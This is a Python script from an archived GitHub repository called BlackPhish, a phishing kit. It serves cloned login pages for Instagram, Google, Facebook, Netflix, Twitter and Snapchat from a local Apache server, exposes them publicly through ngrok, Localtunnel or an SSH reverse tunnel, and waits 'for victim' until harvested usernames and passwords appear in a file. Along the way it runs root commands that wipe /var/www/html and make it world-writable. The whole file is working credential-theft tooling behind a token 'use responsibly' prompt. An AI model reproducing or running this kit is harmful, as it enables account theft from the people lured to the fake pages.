This repository has been archived by the owner on Sep 10, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 97
/
Copy pathblackphish.py
466 lines (365 loc) · 17.8 KB
/
blackphish.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
#!/usr/bin/env python3
##################################################################
## Create pull requests to support the tool ##
## Create an issue if you find any problems or ideas ##
## Lasted Updated: 5/1/21 ##
## Version 4.0: - Fixed not getting credentials ##
#################################################################
# Libraries #
from os import system, getcwd, geteuid
from time import sleep
from socket import create_connection, gethostname, gethostbyname
from distutils import dir_util
from sys import version_info
# Variables #
cwd = getcwd() # Gets working directory #
localip = gethostbyname(gethostname()) # Get local IP #
# COLORS #
red = "\033[91;1m"
reset = "\033[0m"
green = "\033[92;1m"
cyan = "\033[96;1m"
yellow = "\033[93;1m"
magenta = "\033[95;1m"
blue = "\033[94;1m"
white = "\033[97;1m"
blink = "\033[5m"
# Check for python version #
if version_info < (3,0,0):
exit(red + "[!] Please use python3: sudo python3 blackphish.py" + reset)
# Check for root #
if geteuid() != 0:
exit(red + "[!] Please run as root" + reset)
def warning(): # Banner #
print('''
\033[94;1m
https://github.com/iinc0gnit0/BlackPhish\033[0m\033[91m
▀█████████▄ ▀████████▄
███ ███ ███ ███
███ ███ ███ ███
███▄▄▄██▀ ███ ███
███▀▀▀██▄ ████████▀
███ ██▄\033[31m ┬ ┌─┐┌─┐┬┌─ \033[91m ███ \033[31m ┬ ┬┬┌─┐┬ ┬ \033[91m
███ ███\033[31m │ ├─┤│ ├┴┐ \033[91m ███\033[31m ├─┤│└─┐├─┤\033[91m
▄█████████▀ \033[31m ┴─┘┴ ┴└─┘┴ ┴ \033[91m ███\033[31m ┴ ┴┴└─┘┴ ┴\033[94;1m v3.4
Banner made by: \033[91;1m[ tuf_unkn0wn ]\033[94;1m
Script created by: \033[91;1m[ inc0gnit0 ] [ retro0001 ]\033[94;1m
Revisions made by: \033[91;1m[ jackoftimeandreality ]\033[94;1m
Websites created by: \033[91;1m[ TableFlipGod ]\033[94;1m
Big Thanks to: \033[91;1m [ DarkSecDevelopers ]\033[93;1m ''')
print('\n')
warningchoice = input(" Will you use this responsibly (\033[94;1my\033[93;1m/\033[91mn\033[93;1m): ") # Agreement Message #
if warningchoice == 'y':
pass
elif warningchoice == 'yes':
pass
elif warningchoice == 'Y':
pass
elif warningchoice == 'Yes':
pass
else:
endMessage()
def checkInternet(): # Checks for internet connection #
print(yellow + "[*] Checking connection...")
try:
create_connection(("www.github.com", 80)) # Tries to connect to github.com #
print(green + "[+] Internet Found")
sleep(2)
except OSError: # Checks for OSError #
print(red + "[!] Internet Not Found" + reset)
exit(0)
def setup(template): # Template for input #
print('\n')
print(red + ' [1]' + blue + ' ngrok (recommended)')
print(red + ' [2]' + blue + ' Localtunnel')
print(red + ' [3]' + blue + ' localhost.run')
print(red + ' [4]' + blue + ' Localhost only\n\n')
choice1 = input(red + " [" + blue + f"BlackPhish-{template}" + red + "] -> ")
# Setup #
if choice1 == '1':
system("clear")
print(green + '[+] Copying Files')
sleep(0.1)
print(green + '[+] Cleaning /var/www/html/')
sleep(0.1)
system('rm -r /var/www/html/ && mkdir /var/www/html/') # Removing then adding /var/www/html/ #
print(green + '[+] Cleaning /Server/www/')
sleep(0.1)
system('rm -r ' + cwd + "/Server/www && mkdir " + cwd + "/Server/www") # Removes then adds /Server/www #
dir_util.copy_tree(f"Websites/{template}", "Server/www") # Copies the entire folder of Websites/template to /Server/www #
redirect() # Redirect Prompt #
print(green + '[+] Editing login.php(Do not edit/tamper with this file)')
dir_util.copy_tree("Server/www", "/var/www/html") # Copies from Server/www to /var/www/html #
print(green + '[+] Copying to /var/www/html')
sleep(0.1)
system("chmod -R 777 /var/www/html") # Change file permission of /var/www/html #
print(green + '[+] Changing File Permissions')
sleep(0.1)
print(yellow + '[+] Starting Apache2 Service')
sleep(0.1)
system('sudo systemctl restart apache2') # Starts apache2 service #
print(green + '[+] Apache2 Service Started')
sleep(0.1)
print(blue + "\nLocal: " + red + localip + "\n") # Shows where site is hosted locally #
sleep(0.1)
print(yellow + '[*] Starting ngrok')
ngrokForward() # ngrok port forward #
print(yellow + "\n Waiting For Victim ... [Control + C] to stop\n")
sleep(0.1)
while True: # Waits for content on usernames.txt #
with open('/var/www/html/usernames.txt') as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
sleep(1)
print(green + "______________________________________________________________________________\n")
print('\n CREDENTIALS FOUND\n\n')
system("cat /var/www/html/usernames.txt")
print("\n______________________________________________________________________________" + reset)
endMessage()
elif choice1 == '2':
system("clear")
print(green + '[+] Copying Files')
sleep(0.1)
print(green + '[+] Cleaning /var/www/html/')
sleep(0.1)
system('rm -r /var/www/html/ && mkdir /var/www/html/') # Removing then adding /var/www/html/ #
print(green + '[+] Cleaning /Server/www/')
sleep(0.1)
system('rm -r ' + cwd + "/Server/www && mkdir " + cwd + "/Server/www") # Removes then adds /Server/www #
dir_util.copy_tree(f"Websites/{template}", "Server/www") # Copies the entire folder of Websites/template to /Server/www #
redirect() # Redirect Prompt #
print(green + '[+] Editing login.php(Do not edit/tamper with this file)')
dir_util.copy_tree("Server/www", "/var/www/html") # Copies from Server/www to /var/www/html #
print(green + '[+] Copying to /var/www/html')
sleep(0.1)
system("chmod -R 777 /var/www/html") # Change file permission of /var/www/html #
print(green + '[+] Changing File Permissions')
sleep(0.1)
print(yellow + '[+] Starting Apache2 Service')
sleep(0.1)
system('sudo systemctl restart apache2') # Starts apache2 service #
print(green + '[+] Apache2 Service Started')
sleep(0.1)
print(yellow + "\n[*] Local: " + green + localip + "\n") # Shows where site is hosted locally #
sleep(0.1)
print(yellow + '[*] Starting Localtunnel')
localTunnel() # Localtunnel port forward #
print(yellow + "\n Waiting For Victim ... [Control + C] to stop\n")
sleep(0.1)
while True: # Waits for content on usernames.txt #
with open('/var/www/html/usernames.txt') as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
sleep(1)
print(green + "______________________________________________________________________________\n")
print('\n CREDENTIALS FOUND\n\n')
system("cat /var/www/html/usernames.txt")
print("\n______________________________________________________________________________" + reset)
endMessage()
elif choice1 == '3':
system("clear")
print(green + '[+] Copying Files')
sleep(0.1)
print(green + '[+] Cleaning /var/www/html/')
sleep(0.1)
system('rm -r /var/www/html/ && mkdir /var/www/html/') # Removing then adding /var/www/html/ #
print(green + '[+] Cleaning /Server/www/')
sleep(0.1)
system('rm -r ' + cwd + "/Server/www && mkdir " + cwd + "/Server/www") # Removes then adds /Server/www #
dir_util.copy_tree(f"Websites/{template}", "Server/www") # Copies the entire folder of Websites/template to /Server/www #
redirect() # Redirect Prompt #
print(green + '[+] Editing login.php(Do not edit/tamper with this file)')
dir_util.copy_tree("Server/www", "/var/www/html") # Copies from Server/www to /var/www/html #
print(green + '[+] Copying to /var/www/html')
sleep(0.1)
system("chmod -R 777 /var/www/html") # Change file permission of /var/www/html #
print(green + '[+] Changing File Permissions')
sleep(0.1)
print(yellow + '[+] Starting Apache2 Service')
sleep(0.1)
system('sudo systemctl restart apache2') # Starts apache2 service #
print(green + '[+] Apache2 Service Started')
sleep(0.1)
print(yellow + "\n[*] Local: " + green + localip + "\n") # Shows where site is hosted locally #
sleep(0.1)
print(yellow + '[*] Starting Localhost.run')
localhost() # Localhost.run port forward #
while True: # Waits for content on usernames.txt #
with open('/var/www/html/usernames.txt') as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
sleep(1)
print(green + "______________________________________________________________________________\n")
print('\n CREDENTIALS FOUND\n\n')
system("cat /var/www/html/usernames.txt")
print("\n______________________________________________________________________________" + reset)
endMessage()
elif choice1 == '4':
system("clear")
print(green + '[+] Copying Files')
sleep(0.1)
print(green + '[+] Cleaning /var/www/html/')
sleep(0.1)
system('rm -r /var/www/html/ && mkdir /var/www/html/') # Removing then adding /var/www/html/ #
print(green + '[+] Cleaning /Server/www/')
sleep(0.1)
system('rm -r ' + cwd + "/Server/www && mkdir " + cwd + "/Server/www") # Removes then adds /Server/www #
dir_util.copy_tree(f"Websites/{template}", "Server/www") # Copies the entire folder of Websites/template to /Server/www #
redirect() # Redirect Prompt #
print(green + '[+] Editing login.php(Do not edit/tamper with this file)')
dir_util.copy_tree("Server/www", "/var/www/html") # Copies from Server/www to /var/www/html #
print(green + '[+] Copying to /var/www/html')
sleep(0.1)
system("chmod -R 777 /var/www/html") # Change file permission of /var/www/html #
print(green + '[+] Changing File Permissions')
sleep(0.1)
print(yellow + '[+] Starting Apache2 Service')
sleep(0.1)
system('sudo systemctl restart apache2') # Starts apache2 service #
print(green + '[+] Apache2 Service Started')
sleep(0.1)
print(yellow + "\n[*] Local: " + green + localip + "\n") # Shows where site is hosted locally #
sleep(0.1)
print(yellow + "\n Waiting For Victim ... [Control + C] to stop\n")
sleep(0.1)
while True: # Waits for content on usernames.txt #
with open('/var/www/html/usernames.txt') as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
sleep(1)
print(green + "______________________________________________________________________________\n")
print('\n CREDENTIALS FOUND\n\n')
system("cat /var/www/html/usernames.txt")
print("\n______________________________________________________________________________" + reset)
endMessage()
else:
print(red + '[!] Invalid Option')
sleep(1)
main()
# Port forward to ngrok #
def ngrokForward():
sleep(2)
try:
system(f"cd {cwd} && ./ngrok http 80")
except:
print(red + "\n[!] Something went wrong! Please try again")
endMessage()
# Port forward with Localtunnel #
def localTunnel():
name = input(yellow + "\nCustom Domain Name(don't need www. or domain extension): ")
port = input(yellow + "\nPort[recommended 8080]: ")
print(yellow + '\n If prompt about RSA key, say yes' + green)
sleep(2)
system('lt -p ' + port + ' -s ' + name + ' --allow-invalid-cert --print-requests')
# Port forward with localhost.run #
def localhost():
print(yellow + ' If prompt about RSA key, say yes' + green)
sleep(2)
system('ssh -R 8080:localhost:8080 ssh.localhost.run')
# Redirect Prompt #
def redirect():
redirect = input(yellow + "URL redirect to: ")
if 'http://' in redirect or 'https://' in redirect:
with open('Server/www/login.php') as f:
read = f.read()
r = read.replace('<REDIRECT>', redirect)
w = open('Server/www/login.php', 'w')
w.write(r)
w.close()
else:
redirect = 'https://' + redirect
with open('Server/www/login.php') as f:
read = f.read()
r = read.replace('<REDIRECT>', redirect)
w = open('Server/www/login.php', 'w')
w.write(r)
w.close()
# Banner #
def banner():
print('''
\033[94;1m
https://github.com/iinc0gnit0/BlackPhish\033[0m\033[91m
▀█████████▄ ▀████████▄
███ ███ ███ ███
███ ███ ███ ███
███▄▄▄██▀ ███ ███
███▀▀▀██▄ ████████▀
███ ██▄\033[31m ┬ ┌─┐┌─┐┬┌─ \033[91m ███ \033[31m ┬ ┬┬┌─┐┬ ┬ \033[91m
███ ███\033[31m │ ├─┤│ ├┴┐ \033[91m ███\033[31m ├─┤│└─┐├─┤\033[91m
▄█████████▀ \033[31m ┴─┘┴ ┴└─┘┴ ┴ \033[91m ███\033[31m ┴ ┴┴└─┘┴ ┴\033[94;1m v4.0
Banner made by: \033[91;1m[ tuf_unkn0wn ]\033[94;1m
Script created by: \033[91;1m[ inc0gnit0 ] [ retro0001 ]\033[94;1m
Revisions made by: \033[91;1m[ jackoftimeandreality ]\033[94;1m
Websites created by: \033[91;1m[ TableFlipGod ]\033[94;1m
Big Thanks to: \033[91;1m [ DarkSecDevelopers ]\033[91;1m
[1]\033[94;1m Instagram \033[91;1m
[2]\033[94;1m Google \033[91;1m
[3]\033[94;1m Facebook \033[91;1m
[4]\033[94;1m Netflix \033[91;1m
[5]\033[94;1m Twitter \033[91;1m
[6]\033[94;1m Snapchat \033[91;1m
[0]\033[94;1m Clean \033[91;1m
[x]\033[94;1m Exit
\033[0m''')
def endMessage(): # Message when you exit #
print("\n")
print(yellow + " Thank you using " + red + "BlackPhish\n")
print(yellow + " If you have any problems while using " + red + "BlackPhish " + yellow + "please report it to us\n")
print(yellow + " Make Pull Request to support this tool\n")
print("\n" + reset)
exit(0)
# Main Script #
def main():
system("clear") # clear screen #
checkInternet() # Check internet connection #
warning() # Agree to use with responsibily #
system('clear') # clear screen #
banner() # Load Banner #
choice = input(red + " [" + blue + "BlackPhish" + red + "] -> ") # Get user input #
# Instagram #
if choice == "1":
setup("Instagram")
# Google #
elif choice == '2':
setup("Google")
# Facebook #
elif choice == '3':
setup("Facebook")
# Netflix #
elif choice == '4':
setup("Netflix")
# Twitter #
elif choice == "5":
setup("Twitter")
# Snapchat #
elif choice == "6":
setup("Snapchat")
# Clean out everything #
elif choice == "0":
print(green + '[+] Stopping Apache2 Service')
system('sudo systemctl stop apache2') # Stops apache2 service #
print(green + '[+] Stopping Traffic forwarding to ngrok')
system('pkill -f ngrok') # Stops ngrok #
print(green + '[+] Cleaning /var/www/html/')
system('rm -r /var/www/html/ && mkdir /var/www/html') # Removes and makes /var/www/html #
print(green + '[+] Cleaning /Server/www/')
system('rm -r ' + cwd + "/Server/www && mkdir " + cwd + "/Server/www") # Removes and makes /Server/www #
print(green + '[+] Done')
main()
# Exit #
elif choice == 'x':
endMessage()
# Invalid Option Error #
else:
print(red + "[!] Invalid option" + reset)
main()
# This will start the script #
try:
if __name__ == '__main__':
main()
# Will detect if they exit #
except KeyboardInterrupt:
print("\n")
print(red + "[!] KeyboardInterrupt Detected")
print(red + "[!] Exiting" + reset)
exit(0)